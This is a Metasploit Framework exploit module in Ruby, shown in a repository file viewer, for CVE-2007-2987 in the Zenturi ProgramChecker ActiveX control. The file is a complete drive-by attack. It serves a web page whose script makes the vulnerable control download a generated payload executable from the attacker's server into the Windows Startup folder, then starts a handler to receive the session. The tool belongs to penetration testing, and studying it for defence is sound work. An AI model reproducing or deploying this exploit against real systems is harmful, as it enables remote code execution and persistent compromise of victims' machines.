root / modules / exploits / windows / browser / zenturiprogramchecker_unsafe.rb @ master
History | View | Annotate | Download (2.4 kB)
| 1 |
##
|
|---|---|
| 2 |
# $Id$
|
| 3 |
##
|
| 4 |
|
| 5 |
##
|
| 6 |
# This file is part of the Metasploit Framework and may be subject to
|
| 7 |
# redistribution and commercial restrictions. Please see the Metasploit
|
| 8 |
# web site for more information on licensing and terms of use.
|
| 9 |
# http://metasploit.com/
|
| 10 |
##
|
| 11 |
|
| 12 |
require 'msf/core'
|
| 13 |
|
| 14 |
class Metasploit3 < Msf::Exploit::Remote |
| 15 |
Rank = ExcellentRanking |
| 16 |
|
| 17 |
include Msf::Exploit::Remote::HttpServer::HTML |
| 18 |
include Msf::Exploit::EXE |
| 19 |
|
| 20 |
def initialize(info = {}) |
| 21 |
super(update_info(info,
|
| 22 |
'Name' => 'Zenturi ProgramChecker ActiveX Control Arbitrary File Download', |
| 23 |
'Description' => %q{ |
| 24 |
This module allows remote attackers to place arbitrary files on a users file system |
| 25 |
via the Zenturi ProgramChecker sasatl.dll (1.5.0.531) ActiveX Control. |
| 26 |
},
|
| 27 |
'License' => MSF_LICENSE, |
| 28 |
'Author' => [ 'MC' ], |
| 29 |
'Version' => '$Revision$', |
| 30 |
'References' =>
|
| 31 |
[ |
| 32 |
[ 'CVE', '2007-2987' ], |
| 33 |
[ 'OSVDB', '36715' ], |
| 34 |
[ 'BID', '24217' ], |
| 35 |
], |
| 36 |
'Payload' =>
|
| 37 |
{
|
| 38 |
'Space' => 2048, |
| 39 |
'StackAdjustment' => -3500, |
| 40 |
}, |
| 41 |
'Platform' => 'win', |
| 42 |
'Targets' =>
|
| 43 |
[ |
| 44 |
[ 'Automatic', { } ],
|
| 45 |
], |
| 46 |
'DisclosureDate' => 'May 29 2007', |
| 47 |
'DefaultTarget' => 0)) |
| 48 |
|
| 49 |
register_options( |
| 50 |
[ |
| 51 |
OptString.new('PATH', [ true, 'The path to place the executable.', 'C:\\\\Documents and Settings\\\\All Users\\\\Start Menu\\\\Programs\\\\Startup\\\\']), |
| 52 |
], self.class)
|
| 53 |
end
|
| 54 |
|
| 55 |
def autofilter |
| 56 |
false
|
| 57 |
end
|
| 58 |
|
| 59 |
def check_dependencies |
| 60 |
use_zlib |
| 61 |
end
|
| 62 |
|
| 63 |
def on_request_uri(cli, request) |
| 64 |
|
| 65 |
payload_url = "http://"
|
| 66 |
payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] |
| 67 |
payload_url += ":" + datastore['SRVPORT'] + get_resource() + "/payload" |
| 68 |
|
| 69 |
if (request.uri.match(/payload/)) |
| 70 |
return if ((p = regenerate_payload(cli)) == nil) |
| 71 |
data = generate_payload_exe({ :code => p.encoded })
|
| 72 |
print_status("Sending payload EXE")
|
| 73 |
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
|
| 74 |
return
|
| 75 |
end
|
| 76 |
|
| 77 |
vname = rand_text_alpha(rand(100) + 1) |
| 78 |
exe = rand_text_alpha(rand(20) + 1) |
| 79 |
|
| 80 |
content = %Q|
|
| 81 |
<html> |
| 82 |
<object id='#{vname}' classid='clsid:59DBDDA6-9A80-42A4-B824-9BC50CC172F5'></object> |
| 83 |
<script language="JavaScript"> |
| 84 |
#{vname}.DownloadFile("#{payload_url}", "#{datastore['PATH']}\\#{exe}.exe", 1, 1); |
| 85 |
</script> |
| 86 |
</html> |
| 87 |
|
|
| 88 |
|
| 89 |
print_status("Sending #{self.name}")
|
| 90 |
|
| 91 |
send_response_html(cli, content) |
| 92 |
|
| 93 |
handler(cli) |
| 94 |
|
| 95 |
end
|
| 96 |
|
| 97 |
end
|